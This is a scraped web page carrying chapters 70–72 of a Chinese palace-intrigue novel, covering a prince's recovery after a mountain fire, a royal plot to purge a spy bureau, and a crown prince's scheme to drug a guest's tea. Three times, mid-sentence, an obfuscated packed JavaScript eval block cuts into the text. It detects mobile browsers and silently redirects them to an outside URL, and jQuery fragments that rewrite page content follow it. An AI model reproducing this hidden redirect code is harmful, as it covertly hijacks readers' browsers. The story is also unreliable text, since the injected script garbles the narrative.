李珘心中大喜,也跟着赶紧钻了出去,在这充足的空间里伸展了一下四肢。等韩时元再度擦亮蜡烛,李珘伸出去的双臂登时僵住了。 就在这个尽头的圆形洞穴里,有一句已经骨化不知多少年的骸骨,骸骨的旁边是一个腐烂的铲子和镐子。 这具骸骨有着和湿润的泥土一样的颜色。 70. 绝生其二 一道长长的地道,直通王上的寝殿,李珘站在寝殿下的地道里思索了一下,还是决定不让韩时元上去,自己一个人面圣。 李珘在殿内等了许久,这才听到殿外走廊有个人影急匆匆走过来。王上推门而入,神色罕见的紧张,见到李珘便喊道:“王兄!” 李珘躺在地上捂着胸口脸色发白,勉强笑道:“主上。” 王上脸色沉沉,呵斥外边的尚膳道:“既然通传了寡人,为何不唤御医来,你办的这是什么好差事?!” 尚膳跪着爬了进来认错,王上呵斥道:“滚去请御医!”等尚膳滚出去后,李珘便道:“不怪他,若是请了御医,只怕惊动人。” 王上道:“你要是死在这里,也是惊天动地的瞒不住的事。” 李珘笑笑不说话。王上又道:“山火烧了三日,现在还没被暴雨扑灭,王兄,你究竟是怎么活下来的?你带在身边的那孩子呢?” 李珘道:“活了活了,哎,说来话长,机缘巧合,进了地下一个洞穴躲着,游过地下暗河游出来了。话说...原来已经过了三日,在地下时竟然对时间没什么知觉,奇啊。” 王上道:“活着就好。” 李珘道:“嗯,活着就好。” 王上又道:“山火的原因查了,那几个放火的畜生,竟只是因为与光隐寺有些纠葛而纵火烧山,有几个自焚死了,其余的抓住了,挑个日子凌迟处死。” 李珘躺回去,哀叹道:“世事无常啊。这么一座山,周边又是好多片连着的山林,都被烧得一干二净,靠山吃山的人还怎么活。艰难,艰难。” 王上道:“别说这些了。” 李珘像个死尸一样大字形躺地上盯着天花板缓劲,想起韩时元还在地下,便道:“我那孩子还在下面呢,浑身狼狈的很,玟,发回慈悲,让他洗干净换身衣服吧。”他喃喃道:“这孩子跟着我算是受苦了。” 王上没说话地答应了。韩时元上来之后就被宫人带走了,都是王上信任的绝不会泄露秘密的宫人。 御医赶了过来,李珘的伤口恶化了,伤口边缘泛白,感染处更是深入内里,御医给他扎针的时候没撑住便晕死过去了,再醒来的时候天大亮,已经过了许多日了。 醒了才知道,他这病若是不静心调养个三月半载的,怕是要落下严重的病根。 这也就意味着,他得在这寝殿的配殿躺个几月。 御医按时出现,给李珘敷完药就退出去了。李珘闻着身上浓烈的味道继续躺尸,等了许久才等到王上,王上走进配殿后便坐到李珘旁边,李珘先道:“那孩子呢?” 王上道:“在偏殿住着。” 李珘点头道:“那就好。” 片刻后,王上道:“还有一个孩子。” 李珘霎时一愣,警觉道:“你知道了?” 王上道:“你收了宋氏的孩子,而且向我隐瞒了下来。” 李珘沉默不语。 “为何这样做?王兄,我有过规定,你也有过承诺,只收身世清白的孩子,不碰世家的孩子,尤其是嫌疑名单上那些官员的子孙。” 李珘依旧沉默,王上耐心等待他的回答。他心想,是瞒不过的了,只好老实交代:“这孩子是个天赋异禀的,何况他和当年之事没有关系啊。玟,你是怎么知道的?我还没告诉那孩子我的情况,先让我写一封信吧。” 王上道:“不能。” 李珘道:“为何不能?” 王上道:“你的腰牌在哪?” 李珘一愣,不知这是何意,但还是在身上摸了摸,只找到一个曳扇台主的腰牌,而崇绫大君的腰牌摸遍了全身都没找着,他一惊:“不见了!” 他心想可能是掉进水里了,可还没说出来,王上便道:“我派去搜山的人找到了你的崇绫大君腰牌。” 李珘松了一口气:“那就好。” 王上道:“你不知道那孩子闹出了多大的风雨。” “现在全汉阳的人都知道了,宋氏的小儿子在山上认了一个老师,而这老师没能在大火里逃出来。” 李珘听得心一惊,道:“我暴露了?” “不好说。”王上道:“这孩子是因违抗他长辈的意思而出名,宋卿即便是家法罚他,他也不顾,一定要上山寻你,这才闹得满城风雨。这样来看是很莽撞?但他并未透露你的名姓身份,分毫没有。也正是如此,以致于听说了这孩子的事情的人还以为这孩子是疯掉了,在找一个不存在的人。” 李珘看着屋顶没说话。 “与废世子案无关之人听去或许不会在意,可若是被黑手听去,黑手断然会猜测到你的身份。王兄应当没忘记,在山火之前,眉寿山上就已经出现了来刺探你的人,你身上这伤...和刺探者交手了?” 李珘盯着屋顶点了点下巴。 “黑手很有可能已经猜测到了宋景熙在山上认的老师就是崇绫大君,崇绫大君还活着。王兄你难道不知这是多么危险的事情吗?王兄,你难道没有考虑过宋道真会是黑手吗?如若宋景熙是黑手的儿子,你怎么办?” “我知道!”李珘压抑住心底复杂的情绪,道:“可宋景熙这孩子是个好孩子。真的,玟,他和你的宋卿不一样。” 王上漠然道:“他终究是宋道真的儿子。” 李珘道:“那韩义亨呢?玟,你分明知道韩丙建的嫌疑可比宋道真大得多,为何却敢重用韩丙建的儿子?对于宋景熙却如此苛刻?我知道,我知道你想说韩义亨和韩丙建不一样,可宋景熙和宋道真也不一样啊。” “......” “宋景熙这孩子,他小时候你见过的,你总叫德平翁主带他进宫陪宝爱一同玩,那时候他就是个很讨喜的孩子了,你那时不是也挺喜欢他吗。” 王上道:“那是因为那时德平郡主尚且在世。王兄没发现德平翁主去世后,我再也未曾召宋道真的两个儿子入宫了吗?” 李珘耍赖道:“我不管,这孩子我担保的,主上你不用操心他。” 王上道:“王兄,你是不是老糊涂了。” 李珘干脆背过身去。 “曳扇台的情报,失窃了。” “嗯??”李珘又扭头过来。 王上道:“关于废世子案调查的情报,失窃了。曳扇台中有内鬼。” 李珘猛然道:“不可能!那些孩子都是我精挑细选的!” 王上道:“也许在山火之前并不是内鬼。你知道曳扇台里有部分出身世家之人,这些是上任台主留下的,不是你我所选,他们其中有人虽然老去,却并未离开曳扇台,也许这其中便有和黑手有关之人,在山火之前,这些人并非内鬼,也并无异心,一场大火烧起了黑手的疑心,更烧起了与黑手有关的在曳扇台之人的异心。” 李珘道:“谁进了曳扇台?进出都是记录在册的,查!” 王上道:“情报在书库被盗,无人越过前厅进入书库。” 李珘心叫不妙,那就是偷溜进去窃取的了,“完蛋了,或许还有最坏的情况,那些离开了曳扇台的人知道书库的位置,也有窃取情报的可能......这样,更难追查。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807372|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王上道:“你也知道。” 李珘沉默了。 两个老兄弟互相对视了半晌,都在心里打量着。最后李珘先道:“这些与宋景熙无关,我拿我的两个腰牌作保,这孩子绝对会站在我们这一边,就像你信任的韩义亨一样。” 王上道:“王兄,你真的老糊涂了。” 李珘道:“玟啊,我本来就是个老家伙了,这些事情纠缠了快二十年,你也快四旬了,再过几年我都五旬了,我们都累了。” 王上道:“十七年了。岂有放弃之理?” 李珘喃道:“当年父王还说我是天下第一号倔强之人,现在看来,你也不差劲......” 过了会,王上道:“我给你两个选择。” 李珘侧头看他,心道口气这么硬?不好。 “所有汉阳人都知道崇绫大君是先王认定的死了,要么你重新站出来,公布自己没死,同时宣告自己就是隐世多年的曳扇台主,直接开始光明正大地调查废世子案,清算当年之事。要么,就继续隐姓埋名,去蔚州韬光养晦,避一段时间的风头,再回汉阳。” 李珘道:“蔚州?你连位置都替我想好了,那地方和汉阳天各一方。” 王上道:“你曾在那里待过,熟悉此地,是最好的选择。” 李珘沉默道:“我还没说我选第二个。” 王上道:“如若你选择第一条,我便当即找一具死尸来,将崇绫大君的腰牌挂在其身上,再贴榜告知臣民,当年在海浪里消失的崇绫大君其实并未死亡,而是隐居于眉寿山中,不幸因山火而亡,这具遗体就是崇绫大君。” 李珘道:“你这是根本不让我选第一条路。” 他要是选公布自己的身份,那王上就会比他先一步昭告天下臣民李珘已经死了,他再站出来说自己没死,显然是在打国君的脸,伤及王的尊严和威望。所以,这是一条死路。 “那我要是选第二条?” 王上道:“那就是很好的选择了。” 李珘又干脆背过身去了,心想,他真是越来越看不懂李玟这个人了。 越来越固执,越来越疑心。人老了就会变成这样? 肃静了一会,王上才道:“第二条路才是最好的路。王兄。曳扇台已经不干净了。这当然是因为曳扇台内有一部分密使出身是两班贵族,这些人里很有可能当年参与了废世子案,或者说是参与了废世子案之人的后代。所以王兄你不能再露面,必须韬光养晦,抓住这些内鬼密使,并且清除曳扇台内出身两班的密使。” 李珘道:“说得轻巧。怎么搞?” 王上道:“养虎为患,一网打尽。” 李珘皱了皱脸,顿时明白了,道:“这倒是厉害。” 王上道:“曳扇台内事宜素日便由代理官员处理,你若消失,也不会引起过多怀疑。一旦你去了蔚州,便可故意对八道培养密使的事情不闻不问,那些有着世家血统的心思不正的密使不受管控后便会猖狂起来,不干净的地方分台也会日益猖獗,待你从蔚州归来,则可藉整顿风纪之由将曳扇台彻底清洗。” 李珘一直不说话。 半晌过来,他才盯着屋顶一根梁木的纹路,缓缓道:“......父王创立曳扇台以来,前两任台主干得不太好,的确需要这么一次清洗。” 王上点了点头。这个王兄,总是会用别的理由来说服他自己的。 其实,就是答应了第二条路。 ...... ...... ...... 71. 日薄其一 冰天雪地之下,站着一个宋景熙。 大概是他早已做好了准备,或者早已经不是如此在意山火这件事情本身,因此听李珘说完那些事,他只是觉得不可思议,并非不可接受。 韩时元,分明不会游泳。 众人在山顶跳湖求生之时,他想一起走,韩时元却骗他,说自己会游泳。 ...... 忽然,肩上多了点重量,自己被一片温热包裹起来,回头看一眼,果然是韩时元。 韩时元竟将自己披着的裘衣脱了下来,盖到他的肩上,并且言简意赅道:“外边冷。” 紧接着宋景熙的手里又多了一个手握的暖炉。 手炉揣在手里,他这才发觉到自己的手即便一直藏在怀里也还是很冰冷,十指僵硬不能动,有了这手炉的热量才得以缓解。手指一缓过劲儿,他就迅速将肩上披着的裘衣给脱了下来,按在韩时元胸口,语气不容置疑到:“穿上。” 韩时元略微一滞:“我不冷。” 宋景熙道:“冰天雪地的,怎么不冷?” 韩时元无奈叹道:“我不怕冷。” 宋景熙不由得笑道:“哪有不怕冷的人。”说着就将手炉塞了回去,而且强硬地握住韩时元的手不让他又塞回来。两双手紧握着,韩时元的手大抵是揣着这手炉有一会了,因此很是温暖,这样的温度透过手心手背传递,稍等片刻,宋景熙道:“看吧,我的手已经不冷了。” 他笑着说完这句就松开手了,然后朝屋子走去。韩时元站在原地看着自己的手,捏了捏。宋景熙回头道:“好冷啊——” 韩时元立刻走了过来,宋景熙转过身暗中一笑,推门进了屋子。 屋内李珘一手持烟,一手持笔,正在写信件,不知给何人,见两人重新进来,略抬了一下头,道:“外边冷不冷?” 宋景熙道:“挺冷的。” 李珘道:“唉,挺冷的。”他抬眼看向宋景熙,掂了掂手中执着的笔,道:“知不知道我在给谁写信?” 宋景熙道:“主上?” 李珘道:“欸,猜对了。” 宋景熙心想,这分明是很好猜的事情,黑手刚揪出来,李珘不给王上写信去,那还能给谁写啊。 李珘忽而变得严肃道:“景熙啊,你让我说你什么才好,我都要写信给主上,告诉主上黑手是谁了,你竟然还无所知觉,不劝劝我先别写?” 宋景熙一头雾水:“费尽千辛万苦才查到的黑手,我为何要劝您先别写信?” 韩时元道:“因为黑手并非只有一人。” “还有同伙?”宋景熙顿悟道:“也对,当年不满老师的不止韩丙建一个,那时跪在勤政殿外请废世子的也不止韩丙建一个,也就是说其他官员也有嫌疑,有嫌疑的...就是和韩丙建一起请废世子的............”说到这,他卡壳了。 ??! 他爹当年不就是和韩丙建一起在勤政殿请废世子的百官之一吗?? 韩丙建是黑手,那他爹岂不是......宋景熙甩了甩头。难怪老师会问他为什么不劝他先别写信给王上,要是让王上知道了韩丙建是黑手,并且决心惩戒韩氏的话,那作为请废世子的韩氏同党之一的他爹,也绝不能全身而退的! “你看,我到现在都只写了几个字。所以说我也是很纠结嘛。”李珘拍拍信纸,道:“就像时元说的,黑手并非只有一人,就像一只手有十根手指一样,而韩丙建只是长出来的第一根手指。” 宋景熙咬了咬唇。 “我敢说,主上一旦知道韩丙建是凶手,尽管他宠信韩义亨,也绝不会放过韩氏,至少是要上上下下抓起来拷问的,尤其是那些韩丙建留下来的家仆。要是他再做得决绝点,当年和韩丙建一起请废的,乃至如今的武人党,都有可能被抓进义禁府鞫审。审问这些人,就是为了问出当年韩丙建有无同伙,毕竟无论是先王还是王上,并不相信毒害废世子完全是韩丙建一人所为,那些个士大夫联合起来,就是把王变成傀儡的事情也敢干,因此啊,若是你父亲与这件事无关倒还好,可偏偏你父亲当年是违了你祖父的意思去和韩丙建一起请废的。我非得斟酌自己的用词不可,要不......替你父亲说句好话试试?” “多谢老师挂怀。”宋景熙继续咬唇,似乎很纠结,但吐气道:“我觉得...既然做错了事情,那迟早要承担做错事的后果的。即便是我父亲,我也不能包庇。只是老师...这会让我的家人也都被抓进义禁府审问吗?” 要是家人因为父亲的过错而被下大狱的话,他一时是有些无法接受的,宁愿自己代替家人进去,可是这根本没用,他又不知道当年原委,怎么代替的了,再说难道真的要为私情而不顾老师的委屈和痛苦吗,他虽然不是个圣人,可是那么点道德心还是有的。 这样一纠结,让他本就蹙起的眉心更深了。他本来就是觉得他爹当年倒向韩丙建一方很是奇怪,按他爹那个性子,多半是和韩丙建脱不了干系的,要是脱不了干系,那他们会被抄家吗?会被吊死吗?会被砍头吗? 宋景熙顿时泄气了,耳边竟听到两声一起的答案:“不会。” 李珘觉得奇,看向韩时元,宋景熙也看向他,表情就是有些期待地问他为什么不会。 韩时元无声轻咳一下,言简意赅道:“废世子之案,断无使整个朝廷拔根而起的威力。” 李珘悄悄把手放在矮桌下面鼓了鼓掌,面上仍保持着原色,道:“我这个案子查了二十多年,这案子破除的威力还不够大啊?” 韩时元沉吟片刻,道:“若我推测无误,当年与韩丙建有直接干系者,或者说是参与了毒害废世子一案者,恐怕只有那些随韩丙建一同请废世子之人。而这些人当中,绝大多数为勋旧一派,士林一派虽也有,但数量远不如勋旧,且那时士林沈氏并未参与其中,如今士林一派由沈氏掌握,废世子之案追究下来,并不会给士林一派造成灭顶之灾。随韩丙建请废世子的勋旧一派中,不乏汉阳几大世家之人,皆是朝廷重臣和勋旧要臣,若是这些人,这些世家一个不落,悉数处置,那勋旧一派必然会元气大伤,今日勋旧一朝没落,士林则必定会踩着勋旧的尸骨而上。这对于他来说,不是一件好事。” 李珘道:“你是说对于主上来说,这不是一件他愿意看到的好事?” “正是。”韩时元颔首。 李珘又在矮桌下悄悄鼓掌,心想时元这小子的悟力也是越发见长了。他就是这么觉着的,王上他就算要惩治参与废世子案的人,也绝对只会对主犯不加宽恕彻底惩办,而对于那些从犯,或者与韩丙建有血缘之亲的无辜者,则会考虑到稳固朝纲的需要而小惩大戒。当然了,这样的做法是有前提的。 那些“解忧草”或者说“乌阿叶”的从犯自然也不能算从犯了,而得按主犯来处置。尽管从海商的角度来看一直只有韩丙建一个人,没有汉阳的其他官员,但拿解忧草毒害废世子这件事究竟是不是韩丙建一个人的主意,是不是韩丙建一个人干出来的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823690|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就不清楚了,还得靠审问,所以才需要将那些与废世子案有关的人员关进义禁府。 就怕拷问出来不是韩丙建一个人干的。 要是不是的话......那废世子案的威力可就大了,当真是有使整个朝廷拔根而起的威力了。李珘就是怕,怕宋道真也参与了动手,那宋氏就完蛋了,在这个不讲一人做事一人当的地方,一人犯了案,全家都连累,轻则流放,中则绞刑,重则斩首。那他就是想保宋景熙,保宋景熙的家门,那也没那个名分和权力啊! 所以他才会纠结,写吧,怕宋道真干了蠢事,不写吧,又不能不写。 李珘怀着复杂的心情看了眼韩时元,说完了方才那一番话的韩时元神色也很凝重,有故作轻松的嫌疑,他心道果然,时元这孩子也是不希望宋景熙忧思太多,才故意只“报喜不报忧”的,再见宋景熙这孩子,听了韩时元方才那一番话后长舒一口气,神色也松缓了不少,没有那么担心了。 还是写吧! 等回了汉阳,再找去离宫,去商量个两全的办法,不急...不急。 他重新执起笔,另一只手朝面前两个徒弟挥了挥,像赶鸭子般道:“走吧走吧,我写字的时候不喜欢被打搅。”顿了顿,又抬起头在两人之间扫了扫,忽然像是想起了什么,搁笔冲韩时元问道:“说了没有?” 韩时元缄口。 宋景熙有点不明白李珘的意思,感到有些困惑,李珘这时又执笔写起字来:“没什么。哎呀出去吧出去吧,墨都快干了。” 两人依言站起身便往外走去,李珘又突然道:“时元,你留一下。” 宋景熙先出了门,在外等他。韩时元静静立在门口。李珘道:“你怎么还不说啊?” 韩时元道:“现在还不是时候。” 李珘道:“之前让你离开汉阳的时候你跟我闹来闹去,打死也不愿意去蔚州,非要去找他吧,那时我好像记得是同你说‘现在还不是时候’,你现在倒是把这句话还给我了,唉。你等的太久了,时元。” 韩时元透过门缝往外瞥了一眼,看见宋景熙已然走远了,不会听到他们说的话,这才移开眼睛道:“我只是觉得,这会连累他。我的事情,他知道了,会不喜欢。” “你都不告诉他,他怎么会知道你的心意,再说你怎么就这么不自信?好歹是我教出来的啊,怎么会这样呢,你难道还不明白他吗,什么喜欢不喜欢啊。你就是不敢。” 韩时元抿唇不语。 “你这小子。气死我了,我身边怎么都是这么固执的家伙呢?这是诅咒啊......”李珘一边喃喃一边蘸墨,末了,端起笔尖,朝自己下巴比了比,道:“六年前我的胡子还是黑的,现在我的胡子已经白了。”他说着往胡子上画了一笔,“你明白了吗?” 韩时元顿了顿,微微颔首。李珘又叹道:“真明白还是假明白我也不追究了。说下一件事,时元,你可以开始动手了。” 听到这句话,一抹异色流过韩时元浓墨般至深的双眸,他似乎是等了这句话等了很久,连瞳孔都颤了颤。 他真的...等这一日很久了。 李珘道:“做得别太过分啊,记得处理干净,别让人家发现异常了,知道不?”说罢便抬手道:“行了,外边冷,别让景熙等冻着了,去找他吧。让我一个人安静写字。” 门被关上了。 过了几日,其它道的人手一批批地都离开东郡了,只剩随行回汉阳的密使还留着。李珘也决定撤离了。 72. 日薄其二 韩圣吉道:“妹妹。” 韩暎郁闷地在阁里等了半晌,终于见到传唤的人来了,立刻支起身子以控诉般的语气喊道:“急死我了!” 韩圣吉道:“着急喊我来,到底是为什么?” 韩暎捶了一下桌子,韩圣吉依旧是绷着一张脸,略微眯眼道:“注意礼仪,嫔宫娘娘。” 韩暎不听,改为拍了一下桌子,呵道:“教训我的时候又叫嫔宫娘娘了!都是你出的鬼主意,做这个世子嫔有什么好的,气死我了!我当时就不该答应去参加这个狗屁拣择,后悔死了,要是当时就把我刷下去才好!都一口一个嫔宫娘娘嫔宫娘娘的,我哪算个世子嫔!” “注意言辞,妹妹。”韩圣吉道:“究竟怎么了?” “呜呜呜。”韩暎抹眼泪道:“我到现在,还没和他圆房,有哪个世子嫔被冷落成这样的?!” 饶是韩圣吉平日再自持冷静,这下也吃惊道:“还未圆房?你们已成婚两月有余了。” 韩暎道:“新婚之夜他来得那么晚,结果还喝醉了,倒头就睡,根本不能人事!后来他说什么要等到好日子和好时辰,可到了他说的好日子和好时辰,他又说忙得抽不开身,来来回回的,不知道错过了多少好日子和好时辰了!再说夫妻之间非要讲究什么好时间吗,明明都是有了兴致就......”她说着说着抽泣道:“我不管!有哪个世子嫔做成我这样子的?那些宫人都一口一个地叫我世子嫔,可我到现在和他还没有夫妻之事,算个狗屁世子嫔!算个屁的夫妻!” 韩圣吉揉额头道:“妹妹,你能不能说话文雅些?” 韩暎瞪着他道:“我就要这么说!我受了委屈还不能这么说出来了?难道要像你们男人一样去外边散心吗?你们又不准!说起这个我就又来气,在这个破东宫殿里闷了两个多月了,一步都难出,这还是人待的地方吗?这分明是个大牢!” 韩圣吉头疼地更加用力摁额头,听到最后一句,赶紧道:“行了行了,别说了......” “我就说!”韩暎将被打湿的手帕啪地拍在桌上:“过得这么闷就算了,他还总是不来看我,总是靠借口搪塞过去,这还算男人吗?哥!我现在还记得他和我互相寄信那会的甜言蜜语,那般真切,那般感人,怎么如今就变了??哥你说,你们男人究竟为什么会变得这般快!” 在韩暎瞪如铜铃的盯视中,韩圣吉将“我怎么知道我又不是他”吞了下去,改口道:“既然你受了委屈,我去找他。” 韩暎哼道:“你光去找他有什么用?难不成还威胁他啊?威胁来的有什么意思!心要真的在我这那才叫好,那样我才满意!一定是他变心了!” 韩圣吉道:“若是哪个宫女抢了他的眼,我去处理。” 韩暎道:“我倒是怀疑过,可他身边根本没有别的女人!你说他是不是不能人事?这才不敢碰我!” 这下韩圣吉沉默了,李澄能不能人事他不知道,但他想起李澄是喜欢男人来着,可这话断然是不能对韩暎说的,所以只好再次咽了下去,斟酌一番后,道:“那你想怎么办,妹妹?挽回他?” 韩暎道:“挽回?哼!”她很不高兴地环胸扭头过去,似乎对这个答案并不满意。明明是李澄追求的她,现在变心了,凭什么要她来挽回! 韩圣吉心道难伺候,又低头斟酌了一会,这才道:“我和你嫂嫂也许久未曾同床共枕过了。” 韩暎道:“你和嫂嫂不是一向很好的嘛,怎么...不对,你和我说这个干什么!” 韩圣吉道:“因为世子之事,你哥我很忙。” 韩暎道:“哦,你想说李澄他也很忙,所以才...” “或许如此,但我并非是为他说话。”韩圣吉笑眯眯道:“至少要先有夫妻之实。对吧?” 韩暎转了几下眼珠,突然猛地回头道:“对!”而后皱鼻子道:“可是他根本不碰我啊。” “这很简单的,妹妹。”韩圣吉慢条斯理道:“究竟是不能人事,还是不想人事,都没关系,一试便知。只需要一些助力就好了。” ...... 东宫殿。 至密尚宫纠结了半晌才鼓起勇气提醒道:“邸下,时辰已经过了。” 李澄埋头在书卷里,听见尚宫的声音,看了眼烛台,随即皱了皱眉头,道:“这才子时。” 至密尚宫欲言又止道:“不是的邸下......小的是说,您和嫔宫娘娘约定的时间已经过了......” “哦。”李澄满不在乎道:“她来催过了?告诉她早些睡吧,我很忙。”顿了顿,又道:“就说翊卫司的人找我。” 至密尚宫还想说什么,李澄摆出一副万分不耐烦的神色,手掌不轻不重地拍了一下桌子,尚宫便不敢再多说什么了,悻悻然地道了声“是”后退了出去。 李澄摸了摸额头,感到被打扰,眼前的文字也变得令人烦躁起来,抓起茶水喝了一口,才勉强压住了心头的火,然后强逼自己静下心来。不料才静下来没多久,殿门外内官的声音又响起来了:“邸下,水心求见。” 李澄正准备叫人滚,一听是他安插在韩暎身边的小宫女来了,便道:“进来!” 水心进了殿,他没抬头,道:“说。” 水心怯生生地道:“邸下,嫔宫娘娘她、她......” 李澄不耐烦道:“废话什么?有什么事快说!” “是......”水心对这位阴晴不定的主子害怕极了,从以前她负责给李澄送信的时候就已经很害怕了,她害怕再惹李澄生气,只好尽量克制住内心的恐惧和不安,赶快道:“前几天嫔宫娘娘见了一个男子,好像是她的哥哥......” 水心一五一十地叙述了一阵,李澄先是听得皱起眉,接着听到韩暎找到水心让水心给他下药,眼神又变得玩味起来,水心说罢,他长哦了一声,心里连连嗤笑,韩圣吉和韩暎恐怕都不知道,水心这个韩圣吉安插在他身边用来监视他的小宫女,如今已经被他策反,彻底收入囊中了。 这东宫殿,他要一个个全部变为自己的人,也不会止步于此,侍讲院,翊卫司,全部,他都要一步步全部掌控在手中! 他盯着水心,神色凌厉道:“你说的可有半句虚言?” 水心趴在地上道:“奴婢不敢!都是奴婢听到的,不敢说一句假话!” 李澄道:“你也不敢。” 水心害怕地盯着地板不敢再说话了。过了阵,李澄依旧没有让她离开的意思,跪了半晌,她才听到头顶上李澄的声音再度响起:“随她去吧,不必管她。” 水心小心翼翼地抬起脑袋朝李澄看去,这位主子心情竟然变好了些,握着一卷书,也没看她一眼,语气平淡道:“你回去吧。” 不敢多留,水心立刻道:“是。” ...... 某日。 宋景熙觉得奇怪。 自己刚回汉阳不久,一个宫中的内官就突然找到了他,说是世子邸下召他入宫,原因也很草率:小叙一番。 更奇怪的是,不是白日入宫,而是大半夜的。 东宫殿内,李澄,宋景熙,相对而坐。 李澄微笑着看着宋景熙,眼睛将宋景熙的五官轮廓扫了个遍,这样的扫视让宋景熙压在心底的怪异感觉更浓了一分,正欲开口缓解这诡异的气氛,李澄却道:“哥似乎很紧张。” 宋景熙捏着大腿肉道:“只是许久不曾见到邸下,感到有些......” 陌生了。 这不好说出来,他改口道:“邸下叫我来小叙一番,不知是想叙什么呢?” 李澄轻拧了拧眉,但很快平息下去了,“哥好拘谨。” 宋景熙干笑一声。他心里叫苦,很想让李澄不要再叫他哥了,私下叫叫还可以,可在宫里都是人,一个世子叫他哥,他哪担待得起,可说出来,又怕李澄生气,只好闭嘴祈祷外边的尚宫和内官听不见。 李澄继续打量他:“说话也太官话了。哥,你不是拒绝了当我的兼司书吗,怎么如今说话一股老臣味了。” 真记仇。宋景熙叹道:“邸下,你就别打趣我了。” “好吧。”李澄依旧是心情不错。宋景熙觉得奇,道:“既然是小叙,不会还要喝酒吧,邸下,若是喝酒,我只怕是不胜酒力,要不,茶水替代?” 他这口吻是故作轻松和调侃的,就怕李澄不高兴,然而好像起到了反作用,李澄听了这话,脸色一下子臭了一个度,也不知是想起了什么不愉快的东西,咬牙道:“酒?当然不能喝酒了!” 宋景熙拍拍胸口:“茶水挺好的。” 李澄改为微笑道:“哥耐心等一会吧。耐心等一会......” 过了片刻,一个粉红衣袍的小宫女端着茶水走了进来,察觉到殿内似乎是多了一个人,她不免抬头看去,一看,果然就是多了一个人! 水心有些愣住了,这里怎么会多出一个人呢?而且还是个男人。明明...明明再过不到一个时辰就是世子邸下和嫔宫娘娘的吉时了,外人都已经被屏退了,怎么会突然多出一个人呢?? 她正呆楞着,李澄却等不及了,斥道:“愣着干什么?还不快呈上来!” 水心被骂回神了,惴惴不安地将手中的托盘送了过去。托盘上是一壶茶水和两个乳白色的茶杯,李澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823691|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝水心使了个眼色,水心明白这意思,是让他倒一杯,可是...可是...... 可是这茶水下了助兴药的,是给世子和世子嫔喝的啊! 她犹犹豫豫地拿起了茶壶却又不敢倒,等了半晌,李澄再次斥道:“不知道我口渴了吗?你到底会不会做事?!” 宋景熙立刻打圆场道:“这位红袖小姐,我来倒吧。”他刚从惶恐不安的水心手里接过茶壶,茶壶就又被李澄夺了过去,李澄僵着脸笑道:“客人的茶,还是主人来倒比较好吧。”他当即沏了一杯,不容抗拒地将茶杯推到宋景熙手里,并且握着宋景熙的手将他的手指一个个摁在杯壁上,然后托着杯底往上托了托,示意宋景熙快喝下去。 他僵着一副兴奋的脸,神色十分古怪,“快喝吧!” 宋景熙觉得特别不对劲,但又说不出来,看着李澄那样期待的眼神,又不忍拒绝,只好顺了李澄的意,将茶杯往唇边送去...... ——哐啷一声! 水心将心一横,故作跌倒,竟打翻了宋景熙手里的茶杯,温热的茶水就这么顺着脖子流下去,打湿了衣襟和内衫。 宋景熙眨眨眼:“呃......你没事吧?”方才突发状况,他早已丢开杯子扶住了水心,水心心里害怕极了,脑袋一热才做出打翻茶杯之举,这下想到后果怕得要命,一时竟害怕得站不起来,被宋景熙堪堪扶住后才慌乱地站起,根本不敢看李澄那是个什么表情,直接跪倒在地上,磕头颤抖道:“邸下!小的错了!” 李澄气得要死,宋景熙也怕他发火,赶紧替这小宫女说好话:“无事无事,只不过是泼了一杯水而已,不是什么要紧事,算了吧?” 李澄深吸了一口气,重新看向宋景熙,盯着宋景熙被打湿的脖颈和衣襟,宋景熙不由自主地摸了摸脖子和衣襟,这才发觉茶水打湿了内衫,很不舒服,于是想了一个两全其美的办法,尴尬一笑道:“原来打湿了。” 李澄眯着眼不说话。 宋景熙继续道:“这样怪难受的,邸下这有没有衣服可容我换一换?” 跪在地上的水心立刻道:“有的。” 李澄凌厉地朝水心看去,神色满是不爽。宋景熙立刻回应道:“那这样,邸下,让你这位小宫女带我去换身衣裳,我待会再来陪你喝茶,成不成?” 李澄道:“穿我的。” 宋景熙没多想道:“好。” 李澄闪了闪眸光,拂袖坐了回去,不爽道:“去吧。换完衣裳,尽早回来。” 退出殿后,宋景熙跟着水心走了一路,越走越奇怪,虽然他已经对宫中不是很熟悉了,但还是看得出来,这条路越走离李澄的主殿越远了,都快要出东宫殿了。再走了一会,确信水心这是在引他出东宫殿后,宋景熙停了下来,疑惑道:“红袖小姐。” 水心愣了一瞬,也停了下来,回身一点不多说,直接道:“大人,请您赶紧离开吧。” 宋景熙蹙眉道:“到底发生了什么?世子邸下他很不对劲,好像有事在瞒着我。” 